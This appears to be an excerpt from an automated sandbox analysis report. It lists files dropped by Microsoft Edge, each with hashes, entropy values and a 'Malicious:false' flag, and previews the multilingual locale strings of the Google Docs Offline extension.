                                                                                                                                                                          SSDEEP:24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
                                                                                                                                                                          MD5:D116453277CC860D196887CEC6432FFE
                                                                                                                                                                          SHA1:0AE00288FDE696795CC62FD36EABC507AB6F4EA4
                                                                                                                                                                          SHA-256:36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
                                                                                                                                                                          SHA-512:C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1613
                                                                                                                                                                          Entropy (8bit):4.618182455684241
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
                                                                                                                                                                          MD5:9ABA4337C670C6349BA38FDDC27C2106
                                                                                                                                                                          SHA1:1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
                                                                                                                                                                          SHA-256:37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
                                                                                                                                                                          SHA-512:8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):851
                                                                                                                                                                          Entropy (8bit):4.4858053753176526
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
                                                                                                                                                                          MD5:07FFBE5F24CA348723FF8C6C488ABFB8
                                                                                                                                                                          SHA1:6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
                                                                                                                                                                          SHA-256:6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
                                                                                                                                                                          SHA-512:7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):851
                                                                                                                                                                          Entropy (8bit):4.4858053753176526
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
                                                                                                                                                                          MD5:07FFBE5F24CA348723FF8C6C488ABFB8
                                                                                                                                                                          SHA1:6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
                                                                                                                                                                          SHA-256:6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
                                                                                                                                                                          SHA-512:7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):848
                                                                                                                                                                          Entropy (8bit):4.494568170878587
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
                                                                                                                                                                          MD5:3734D498FB377CF5E4E2508B8131C0FA
                                                                                                                                                                          SHA1:AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
                                                                                                                                                                          SHA-256:AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
                                                                                                                                                                          SHA-512:56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1425
                                                                                                                                                                          Entropy (8bit):4.461560329690825
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
                                                                                                                                                                          MD5:578215FBB8C12CB7E6CD73FBD16EC994
                                                                                                                                                                          SHA1:9471D71FA6D82CE1863B74E24237AD4FD9477187
                                                                                                                                                                          SHA-256:102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
                                                                                                                                                                          SHA-512:E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):961
                                                                                                                                                                          Entropy (8bit):4.537633413451255
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
                                                                                                                                                                          MD5:F61916A206AC0E971CDCB63B29E580E3
                                                                                                                                                                          SHA1:994B8C985DC1E161655D6E553146FB84D0030619
                                                                                                                                                                          SHA-256:2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
                                                                                                                                                                          SHA-512:D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):959
                                                                                                                                                                          Entropy (8bit):4.570019855018913
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
                                                                                                                                                                          MD5:535331F8FB98894877811B14994FEA9D
                                                                                                                                                                          SHA1:42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
                                                                                                                                                                          SHA-256:90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
                                                                                                                                                                          SHA-512:2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):968
                                                                                                                                                                          Entropy (8bit):4.633956349931516
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
                                                                                                                                                                          MD5:64204786E7A7C1ED9C241F1C59B81007
                                                                                                                                                                          SHA1:586528E87CD670249A44FB9C54B1796E40CDB794
                                                                                                                                                                          SHA-256:CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
                                                                                                                                                                          SHA-512:44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):838
                                                                                                                                                                          Entropy (8bit):4.4975520913636595
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
                                                                                                                                                                          MD5:29A1DA4ACB4C9D04F080BB101E204E93
                                                                                                                                                                          SHA1:2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
                                                                                                                                                                          SHA-256:A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
                                                                                                                                                                          SHA-512:B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1305
                                                                                                                                                                          Entropy (8bit):4.673517697192589
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
                                                                                                                                                                          MD5:097F3BA8DE41A0AAF436C783DCFE7EF3
                                                                                                                                                                          SHA1:986B8CABD794E08C7AD41F0F35C93E4824AC84DF
                                                                                                                                                                          SHA-256:7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
                                                                                                                                                                          SHA-512:8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):911
                                                                                                                                                                          Entropy (8bit):4.6294343834070935
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
                                                                                                                                                                          MD5:B38CBD6C2C5BFAA6EE252D573A0B12A1
                                                                                                                                                                          SHA1:2E490D5A4942D2455C3E751F96BD9960F93C4B60
                                                                                                                                                                          SHA-256:2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
                                                                                                                                                                          SHA-512:6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):939
                                                                                                                                                                          Entropy (8bit):4.451724169062555
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
                                                                                                                                                                          MD5:FCEA43D62605860FFF41BE26BAD80169
                                                                                                                                                                          SHA1:F25C2CE893D65666CC46EA267E3D1AA080A25F5B
                                                                                                                                                                          SHA-256:F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
                                                                                                                                                                          SHA-512:F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):977
                                                                                                                                                                          Entropy (8bit):4.622066056638277
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
                                                                                                                                                                          MD5:A58C0EEBD5DC6BB5D91DAF923BD3A2AA
                                                                                                                                                                          SHA1:F169870EEED333363950D0BCD5A46D712231E2AE
                                                                                                                                                                          SHA-256:0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
                                                                                                                                                                          SHA-512:B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):972
                                                                                                                                                                          Entropy (8bit):4.621319511196614
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
                                                                                                                                                                          MD5:6CAC04BDCC09034981B4AB567B00C296
                                                                                                                                                                          SHA1:84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
                                                                                                                                                                          SHA-256:4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
                                                                                                                                                                          SHA-512:160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):990
                                                                                                                                                                          Entropy (8bit):4.497202347098541
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
                                                                                                                                                                          MD5:6BAAFEE2F718BEFBC7CD58A04CCC6C92
                                                                                                                                                                          SHA1:CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
                                                                                                                                                                          SHA-256:0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
                                                                                                                                                                          SHA-512:3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1658
                                                                                                                                                                          Entropy (8bit):4.294833932445159
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
                                                                                                                                                                          MD5:BC7E1D09028B085B74CB4E04D8A90814
                                                                                                                                                                          SHA1:E28B2919F000B41B41209E56B7BF3A4448456CFE
                                                                                                                                                                          SHA-256:FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
                                                                                                                                                                          SHA-512:040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
